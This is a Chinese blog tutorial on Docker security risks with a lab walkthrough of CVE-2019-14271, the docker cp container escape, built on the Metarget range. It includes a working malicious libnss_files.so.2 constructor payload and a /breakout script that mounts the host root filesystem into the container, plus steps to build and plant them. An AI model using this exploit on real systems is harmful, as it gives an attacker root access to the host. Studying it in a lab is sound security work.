容器安全风险and容器逃逸漏洞实践

news2024/9/22 19:35:47

本文博客地址:https://security.blog.csdn.net/article/details/128966455

一、Docker存在的安全风险

1.1、Docker镜像存在的风险

不安全的第三方组件:用户自己的代码依赖若干开源组件,这些开源组件本身又有着复杂的依赖树,甚至最终打包好的业务镜像中还包含完全用不到的开源组件。这导致许多开发者可能根本不知道自己的镜像中到底包含多少以及哪些组件。包含的组件越多,可能存在的漏洞就越多,大量引入第三方组件的同时也大量引入了风险。

恶意镜像:一些公共镜像仓库中可能存在一些恶意镜像,如果使用了这些镜像或把这些镜像作为基础镜像,就会产生相应的风险。

敏感信息泄露:为了开发、调试方便,开发者可能会将敏感信息如数据库密码、证书和私钥等内容直接写到代码中,或者以配置文件形式存放。构建镜像时,这些敏感内容被一并打包进镜像,甚至上传到公开的镜像仓库,从而造成敏感数据泄露。

1.2、Docker容器存在的风险

安全漏洞:容器应用代码也会存在SQL注入、XSS等安全漏洞,容器默认情况下连接到由docker0网桥提供的子网中。如果在启动时配置了端口映射,容器就能够对外提供服务。在这种情况下,这些安全漏洞就有可能被外部攻击者利用。

不受限制的资源共享:在默认情况下,Docker并不会对容器的资源使用进行限制。也就是说,默认配置启动的容器理论上能够无限使用宿主机的CPU、内存、硬盘等资源。如果容器使用了过多资源,就会对宿主机及宿主机上的其他容器造成影响,甚至形成资源耗尽型攻击。

隔离性风险:不安全的配置和挂载也可能容器的隔离性将被打破,进而导致安全风险。

1.3、其他风险

容器网络的风险:容器内的root用户虽然被Docker禁用了许多权限(Capabilities机制),但它目前依然具有CAP_NET_RAW权限,具备构造并发送ICMP、ARP等报文的能力。因此,ARP欺骗、DNS劫持等中间人攻击是可能发生在容器网络的。

管理接口的风险:Docker守护进程主要监听两种形式的Socket:UNIX socket和TCP socket,接口如果配置不当,攻击者可能会利用相应的权限实现容器逃逸,实现对目标主机的控制。

软件漏洞的风险:任何软件都存在漏洞。

1.4、容器逃逸

不安全配置导致的容器逃逸:用户可以通过修改容器环境配置或在运行容器时指定参数来调整约束,如果用户为容器设置了某些危险的配置参数,就为攻击者提供了一定程度的逃逸可能性。

不安全挂载导致的容器逃逸:为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部,尤其是那些不完全受控的容器内部,往往会带来安全问题。

相关程序漏洞导致的容器逃逸:这里的相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞。

内核漏洞导致的容器逃逸:从操作系统层面来看,容器进程只是一种受到各种安全机制约束的进程,因此从攻防两端来看,容器逃逸都遵循传统的权限提升流程。攻击者可以凭借此特点拓展容器逃逸的思路,一旦有新的内核漏洞产生,就可以考虑它是否能够用于容器逃逸。

二、加载不受信任的动态链接库漏洞实践(CVE-2019-14271)

2.1、背景

在19.03.x及若干非正式版本的Docker中,docker cp命令依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却并未被容器化,攻击者可通过劫持容器内的nsswitch动态链接库来实现对宿主机进程的代码注入,获得宿主机上root权限的代码执行能力。

该漏洞的核心问题在于高权限进程自身并未容器化,却加载了不可控的容器内部的动态链接库。一旦攻击者控制了容器,就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。

2.2、准备工作

1、安装Ubuntu-18操作系统,这个就不再细说了

2、安装Docker先前操作:

# 添加索引
sudo apt update
sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common

# 导入源仓库的GPG key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

# 添加Docker APT软件源
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

# 查看docker版本
apt list -a docker-ce

# 安装指定版本
apt install docker-ce=5:19.03.3~3-0~ubuntu-bionic docker-ce-cli=5:19.03.3~3-0~ubuntu-bionic containerd.io

3、添加Docker源:

cd /etc/docker
vim daemon.json
--------------------------------------------------------------------------------------------------
{
    "registry-mirrors" : [
    "https://registry.docker-cn.com",
    "http://hub-mirror.c.163.com",
    "https://docker.mirrors.ustc.edu.cn",
    "https://cr.console.aliyun.com",
    "https://mirror.ccs.tencentyun.com"
  ]
}
--------------------------------------------------------------------------------------------------

# 重启Docker让服务生效
systemctl daemon-reload
systemctl restart docker.service

4、安装M4:

wget https://ftp.gnu.org/gnu/m4/m4-1.4.19.tar.gz
tar -zxvf m4-1.4.19.tar.gz
cd m4-1.4.19
./configure
make
make install

5、安装bison:

wget http://ftp.gnu.org/gnu/bison/bison-3.8.2.tar.gz
tar -zxvf bison-3.8.2.tar.gz
cd ../bison-3.8.2
make
make install
ln -s /usr/bin/bison /usr/local/bin/bison

2.3、安装靶机环境

1、安装环境

git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt

2、安装该漏洞的Docker

./metarget cnv install cve-2019-14271

如果不报错,则表明安装成功了,如下所示:

在这里插入图片描述

2.4、确定目标

运行一个容器:

docker run -itd --name=14271 ubuntu bash

拿到容器的绝对路径,然后对其进行监控:

在这里插入图片描述

由上图可知,返回的workdir数据为:

workdir=/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/work
# 那么容器的根目录在宿主机上的绝对路径为:
/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged

另起一个终端,使用inotifywait工具,在宿主机上监听容器文件系统中lib目录的事件:

apt install inotify-tools
inotifywait -mr /var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged/lib

在这里插入图片描述
执行docker cp命令:

docker cp 14271:/etc/passwd ./

此时在监控终端上就能看到inotifywait的输出:

在这里插入图片描述

可以看到,在这次复制操作中,docker-tar加载了libnss_files.so.2,接下来,我们以libnss_files.so.2为目标,构造一个恶意的动态链接库来替换它。

2.5、构建动态链接库

由于libnss_files.so.2在Glibc中,因此需要先下载Glibc库并解压:

wget https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2
tar -vxjf glibc-2.27.tar.bz2

注释掉glibc-2.27/Makeconfig文件中的一行警告设置,避免加入恶意payload后编译失败(第823行):

vim glibc-2.27/Makeconfig
---------------------------------------------------------------------------
# gccwarn-c = -Wstrict-prototypes -Wold-style-definition

在glibc-2.27/nss/nss_files/目录下任意源码文件中添加恶意payload,把真正具有威胁的操作写入容器内/breakout脚本文件中,让动态链接库里的payload去执行/breakout脚本文件即可。

payload代码:

//容器内部原始libnss_files.so.2文件的备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
//恶意libnss_files.so.2的位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
//带有constructor属性的函数会在动态链接库被加载时自动执行
__attribute__ ((constructor)) void run_at_link(void) {
    char * argv_break[2];
    //判断当前是否是容器外的高权限进程(也就是docker-tar)
    //如果是容器内进程,则不做任何操作
    if (!is_priviliged())
    return;
    //攻击只需要执行一次即可
    //用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件
    //避免后续的docker cp操作持续加载恶意libnss_files.so.2文件
    rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
    //以docker-tar进程的身份创建新进程,执行容器内/breakout脚本
    if (!fork()) {
        //Child runs breakout
        argv_break[0] = strdup("/breakout");
        argv_break[1] = NULL;
        execve("/breakout", argv_break, NULL);
    }
    else
        wait(NULL); //Wait for child
    return;
}

恶意libnss_files.so.2文件被加载时,首先会判断当前加载进程是否为docker-tar进程,如果是,则以当前进程的身份执行/breakout脚本。由于docker-tar已经执行了chroot命令,/breakout路径指向的是容器内根目录下的脚本,但由于docker-tar并未做其他命名空间级别上的隔离,因此/breakout会以docker-tar自身的root权限在宿主机命名空间内执行。

执行编译:

export LIBRARY_PATH=/usr/lib/x86_64-linux-gnu/
mkdir glibc-build
cd glibc-build
# --disable-werror  避免高版本gcc把警告当成错误
# --disable-profile  不要碰配置信息
../glibc-2.27/configure --prefix=/usr/local/glibc-2.27  --disable-profile --disable-werror
# -i是为了忽略错误
make -i

编译结束后,glibc-build/nss/libnss_files.so就是我们需要的恶意动态链接库文件。

2.6、实现逃逸

现在,我们已经有了恶意的动态链接库文件libnss_files.so。在存在漏洞的Docker环境中,如果用户执行了docker cp,后台的docker-tar进程在执行了chroot命令后一旦加载恶意文件libnss_files.so,那么容器内的/breakout脚本就会以docker-tar身份执行。

由于docker-tar已经切换了根目录,但还没有加入容器的命名空间,我们考虑在/breakout中执行挂载操作,由docker-tar将宿主机根目录挂载到容器内的/host_fs路径——这样一来,我们就实现了文件系统层面的容器逃逸。

(宿主机)创建breakout脚本文件:

vim breakout
----------------------------------------------------------------------------------------------------
#!/bin/bash
# /breakout的内容
# 首先确保容器内/host_fs路径空闲可用
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
# 挂载宿主机的procfs伪文件系统
mount -t proc none /proc
# 挂载宿主机根目录到/host_fs
cd /proc/1/root
mount --bind . /host_fs

创建一个容器:

docker run -itd --name=victim ubuntu

将breakout脚本放入victim容器根目录:

docker cp breakout victim:/

(宿主机)查找libnss_files.so.2符号链接指向的库文件:

运行:
readlink -f /home/ubuntu/glibc-build/nss/libnss_files.so.2
返回:
/usr/lib/x86_64-linux-gnu/libnss_files.so
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /usr/lib/x86_64-linux-gnu/libnss_files.so
返回:
/lib/x86_64-linux-gnu/libnss_files.so.2
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /lib/x86_64-linux-gnu/libnss_files.so.2
返回:
/lib/x86_64-linux-gnu/libnss_files-2.27.so
(该文件为真实文件)

(宿主机)将回显的这个文件(/lib/x86_64-linux-gnu/libnss_files-2.27.so)移动到容器的根目录,并重命名:

# 复制到容器根目录
docker cp /lib/x86_64-linux-gnu/libnss_files-2.27.so victim:/
# 进入容器
docker exec -it victim bash
# 重命名文件
mv libnss_files-2.27.so original_libnss_files.so.2

将编译后产生恶意文件放到重命名为libnss_files.so.2,放在容器内/lib/x86_64-linux-gnu目录下:

# 重命名
mv libnss_files.so libnss_files.so.2
# 移动
docker cp libnss_files.so.2 victim:/lib/x86_64-linux-gnu/

此处我们仅作为验证,因此也或者直接将前面开源靶机metarget的EXP文件传入即可,位置如下:

metarget/writeups_cnv/docker-cve-2019-14271/exp/libnss_files.so.2

模拟执行docker cp操作:

docker cp victim:/etc/passwd ./

执行后,漏洞被触发,我们进入容器进行验证:

# 进入容器
docker exec -it victim bash

# 容器内部已经可以看到挂载的/host_fs
cat /host_fs/etc/hostname

可见已经实现了容器逃逸,显示了宿主机的hostname:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/351611.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在 Python 中只接受数字作为用户输入

只接受数字作为用户输入: 使用 while True 循环进行循环,直到用户输入一个数字。使用 float() 类尝试将值转换为浮点数。如果用户输入了一个数字,请使用 break 语句跳出循环。 while True:try:# 👇️ use int() instead of floa…

宝马项目化流程标准(BMW ABC flyer requirement)

ABC flyer/ BMWQMT build phase requirement宝马的项目流程标准叫做ABC flyer,也叫QMT build phase requirement.为什么叫这么名字,是因为宝马项目的产品零件分为几个阶段:A-samples, B-samples,C-samples, initial-samples.1、PVL/ VS0:100% ok parts i…

高通平台开发系列讲解(Android篇)AudioTrack音频流数据传输

文章目录 一、音频流数据传输通道创建1.1、流程描述1.2、流程图解二、音频数据传输2.1、流程描述2.2、流程图解沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇章主要图解AudioTrack音频流数据传输 。 一、音频流数据传输通道创建 1.1、流程描述 AudioTrack在set函…

项目自动化构建工具make/Makefile

目录 make/Makefile概念和关系 make/Makefie的使用 一个工程中的源文件不计数,其按类型、功能、模块分别放在若干个目录中,makefile定义了一系列的规则来指定,哪些文件需要先编译,哪些文件需要后编译,哪些文件需要重…

33岁测试宝妈,在家带娃一年半,入职新公司居然年薪30W+

疫情3年,每一个行业的危机,每一个企业的倒下,背后都是无数人的降薪、降职和失业。这也暴露了人生的残酷真相:人活一辈子,总有“丰年”和“荒年” 优秀的测试既过得了丰年,也受得住荒年。 我之前认识的一个…

零信任-Zscaler零信任介绍(7)

​Zscaler零信任介绍 Zscaler是一家专注于网络安全的公司,他们提供了一种名为Zscaler Zero Trust Exchange (ZTX)的零信任解决方案。这种解决方案旨在帮助企业提高网络安全,并确保只有授权的用户,设备和应用程序才能访问敏感信息。ZTX采用多…

畅购电商项目

1. 电商项目架构图技术框架/技术选型1.1 系统架构该项目是一个B2C的电商项目(类似小米商城、京东商城、天猫商城)允许客户通过网络购买商品该项目主要完成的是电商项目前台的开发。采用前后端分离的方式进行开发的前端:vue全家桶(…

QT入门Containers之Widget、Frame

目录 一、QWidget界面相关 1、布局介绍 2、基本界面属性 3、特殊属性 二、QFrame 三、Demo展示 此文为作者原创,创作不易,转载请标明出处! 一、QWidget界面相关 1、布局介绍 为什么将QWidget容器放在第一个,因为目前使用过…

前端缓存知识-强缓存与协商缓存

缓存的作用 减少了冗余的数据传输,节省了网费。减少了服务器的负担, 大大提高了网站的性能加快了客户端加载网页的速度 缓存分类 强制缓存如果生效,不需要再和服务器发生交互,而对比缓存不管是否生效,都需要与服务端…

查询蓝牙适配器版本

台式机不支持蓝牙,装了个蓝牙适配器,结果换来换去又忘记自己这个是啥版本了,适配器自己也不写。好在微软官方也给了说明如何查询我的电脑运行哪个蓝牙版本? - Microsoft 支持https://support.microsoft.com/zh-cn/windows/%E6%88%…

day44【代码随想录】动态规划之零钱兑换II、组合总和 Ⅳ、零钱兑换

文章目录前言一、零钱兑换II(力扣518)二、组合总和 Ⅳ(力扣377)三、零钱兑换(力扣322)总结前言 1、零钱兑换II 2、组合总和 Ⅳ 3、零钱兑换 一、零钱兑换II(力扣518) 给你一个整数…

教你如何实现一个页面自动打字效果

前言: 最近在写一个类似于 windows 启动页的项目,不知道大家是否还记的 windows 很经典的小光标加载页面,我又稍微改造了一下效果如下: 一. 光标闪烁效果的实现 tips: 在这里我们使用了 UnoCSS,如果你不清…

金三银四,如果没准备这些面试题,找工作还是缓一缓吧

前言: 最近金三银四跳槽季,相信很多小伙伴都在面试找工作,怎样才能拿到大厂的offer,没有掌握绝对的技术,那么就要不断的学习… 如何拿下阿里等大厂的offer的呢,今天分享一个秘密武器,资深测试开发师整理的…

【面试问题-java内存模型JMM】

今天面试,我把运行时数据区域答成了java内存模型,回来把这方面的问题给纠正一下。 以下内容阅读自《深入理解Java虚拟机》第12章 下面小段只做了解即可。重点是Java内存模型。 多任务处理在现代计算机操作系统中是必备的功能。 计算机运行速度与它的存储…

【MySQL】数据库基础

目录 1、什么是数据库 2、 数据库基本操作 2.1 查看当前数据库 2.2 创建一个数据库 2.3 选中数据库 2.4 删除数据库 3、常见的数据类型 3.1 数值类型 3.2 字符串类型 3.3 日期类型 4、表的操作 4.1 创建表 4.2 查看指定数据库下的所有表 4.3 查看表的结构 4.…

java常见的异常

异常分类 Throwable 是java异常的顶级类,所有异常都继承于这个类。 Error,Exception是异常类的两个大分类。 Error Error是非程序异常,即程序不能捕获的异常,一般是编译或者系统性的错误,如OutOfMemorry内存溢出异常等。 Exc…

环境变量和进程地址空间

目录 环境变量: env:显示所有的环境变量: echo $环境变量名表示查看环境变量的值 理解环境变量: getenv:显示环境变量的值 export set命令:显示所有变量 unset取消变量: pwd:当…

Django框架之模型查询-关联查询

关联查询 查询书籍为1的所有人物信息 查询人物为1的书籍信息由一到多的访问语法&#xff1a; 一对应的模型类对象.多对应的模型类名小写_set 例&#xff1a; >>> book BookInfo.objects.get(id1) >>> book.peopleinfo_set.all() <QuerySet [<Peopl…

buntu18 安装 openpose(GPU)环境

openpose环境 搭建 很费劲&#xff0c; 需要装软件也多&#xff0c; 还必须要考虑版本的问题。我主要是参考链接 ubuntu18安装openpose详细步骤_litbo的博客-CSDN博客_ubuntu安装openpose 其中&#xff0c;我的实验中 有如下需要更改。 1、我的是 cuda-10.2 2、gcc 和g 必…

Linux下Socket编程利用多进程实现一台服务器与多台客户端并发通信

文章目录前言一、服务器 server二、客户端 client三、并发通信演示四、程序源码前言 前些日子同“ Linux应用编程 ”专栏中发布过的TCP及UDP在Linux或Windows下的通信都为单进程下的Socket编程&#xff0c;若还存在一些套接字相关函数模糊不清&#xff0c;读者可移步“Socket编…